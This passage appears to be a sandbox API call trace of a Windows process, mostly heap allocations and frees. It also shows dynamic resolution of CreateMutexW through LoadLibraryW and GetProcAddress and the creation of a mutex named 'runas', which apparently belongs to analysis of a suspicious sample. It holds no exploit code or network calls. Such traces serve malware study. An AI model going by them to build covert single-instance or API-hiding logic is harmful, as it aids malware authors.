ftCreationTime.dwLowDateTime=0xeaed08, ftCreationTime.dwHighDateTime=0x1076250, ftLastAccessTime.dwLowDateTime=0x1, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xcd07d0, ftLastWriteTime.dwHighDateTime=0xcd0000, nFileSizeHigh=0x18, nFileSizeLow=0x0, dwReserved0=0x1055108, dwReserved1=0x10715e0, cFileName="", cAlternateFileName="籠½")) returned 0xffffffff [0131.811] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0131.811] GetLastError () returned 0x6 [0131.811] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0131.811] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf048 | out: hHeap=0xe80000) returned 1 [0131.811] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766e8 | out: hHeap=0xe80000) returned 1 [0131.811] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766d0 | out: hHeap=0xe80000) returned 1 [0131.814] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec16b8 | out: hHeap=0xe80000) returned 1 [0131.814] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.814] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10685d8 | out: hHeap=0xe80000) returned 1 [0131.814] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766a0 | out: hHeap=0xe80000) returned 1 [0131.814] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.814] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf048 [0131.814] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2fb0 [0131.814] CharUpperBuffW (in: lpsz="KHOCWHDEQXMSTFPOADRL", cchLength=0x14 | out: lpsz="KHOCWHDEQXMSTFPOADRL") returned 0x14 [0131.814] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0131.814] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf048 | out: hHeap=0xe80000) returned 1 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec15a0 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf048 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10766a0 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaef48 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10766d0 [0131.815] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaef48 | out: hHeap=0xe80000) returned 1 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10766e8 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1550 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a60 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaef48 [0131.815] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a60 | out: hHeap=0xe80000) returned 1 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1708 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076988 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x10686b0 [0131.815] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076850 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767f0 [0131.815] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaef08 [0131.815] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec16b8 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaef58 [0131.816] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec15c8 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769d0 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaef68 [0131.816] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0131.816] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaef68 | out: hHeap=0xe80000) returned 1 [0131.816] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec16e0 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaef68 [0131.816] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec15f0 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767d8 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaef78 [0131.816] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0131.816] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaef78 | out: hHeap=0xe80000) returned 1 [0131.816] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.816] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1730 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076808 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaef78 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0131.817] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0131.817] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015640 [0131.817] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13c0 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.817] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0131.817] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.817] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0131.817] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0131.818] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec13c0 | out: hHeap=0xe80000) returned 1 [0131.818] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.818] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.818] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0c8 [0131.818] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055530 [0131.818] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.818] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0c8 | out: hHeap=0xe80000) returned 1 [0131.818] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.818] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0131.818] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0131.818] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1618 [0131.818] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0131.818] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1f8 [0131.818] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a78 [0131.818] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf238 [0131.819] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1370 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0d8 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0131.819] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0131.819] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a00 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf168 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0131.819] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf168 | out: hHeap=0xe80000) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf188 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0131.819] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf188 | out: hHeap=0xe80000) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf168 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a60 [0131.819] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf168 | out: hHeap=0xe80000) returned 1 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.819] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0131.820] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0131.820] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf068 [0131.820] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769e8 [0131.820] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf068 | out: hHeap=0xe80000) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0131.820] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0131.820] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0131.820] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068278 [0131.820] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1370 | out: hHeap=0xe80000) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0131.821] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf118 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0131.821] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf218 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0131.821] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.821] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.821] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0131.821] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13c0 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf188 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1c8 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf128 [0131.821] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0131.821] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.821] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1c8 | out: hHeap=0xe80000) returned 1 [0131.821] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0131.822] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0e8 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf158 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1b8 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0131.822] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.822] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.822] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0131.822] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf198 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0131.822] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.822] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.822] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0131.822] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.822] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.822] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0131.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateMutexW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0131.823] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xd) returned 0x1076958 [0131.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateMutexW", cchWideChar=13, lpMultiByteStr=0x1076958, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateMutexW", lpUsedDefaultChar=0x0) returned 13 [0131.823] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0131.823] GetProcAddress (hModule=0x770a0000, lpProcName="CreateMutexW") returned 0x770c66f0 [0131.823] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.823] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.823] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12a8 [0131.823] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf248 [0131.823] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0a8 [0131.823] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf168 [0131.823] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20002) returned 0xec39d8 [0131.823] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.823] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0a8 | out: hHeap=0xe80000) returned 1 [0131.823] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf168 | out: hHeap=0xe80000) returned 1 [0131.824] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec12a8 | out: hHeap=0xe80000) returned 1 [0131.824] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="runas") returned 0x200 [0131.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf128 [0131.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0x107f3f8 [0131.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0131.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076970 [0131.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0131.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf078 [0131.824] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0131.824] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0131.824] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076970 | out: hHeap=0xe80000) returned 1 [0131.824] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076970 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1c8 [0131.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0131.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1c8 | out: hHeap=0xe80000) returned 1 [0131.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bf8 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0b8 [0131.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0131.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.825] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0131.825] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf068 [0131.827] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec39d8 | out: hHeap=0xe80000) returned 1 [0131.827] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.827] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf188 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0e8 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec13c0 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf118 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a00 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a60 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0131.828] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 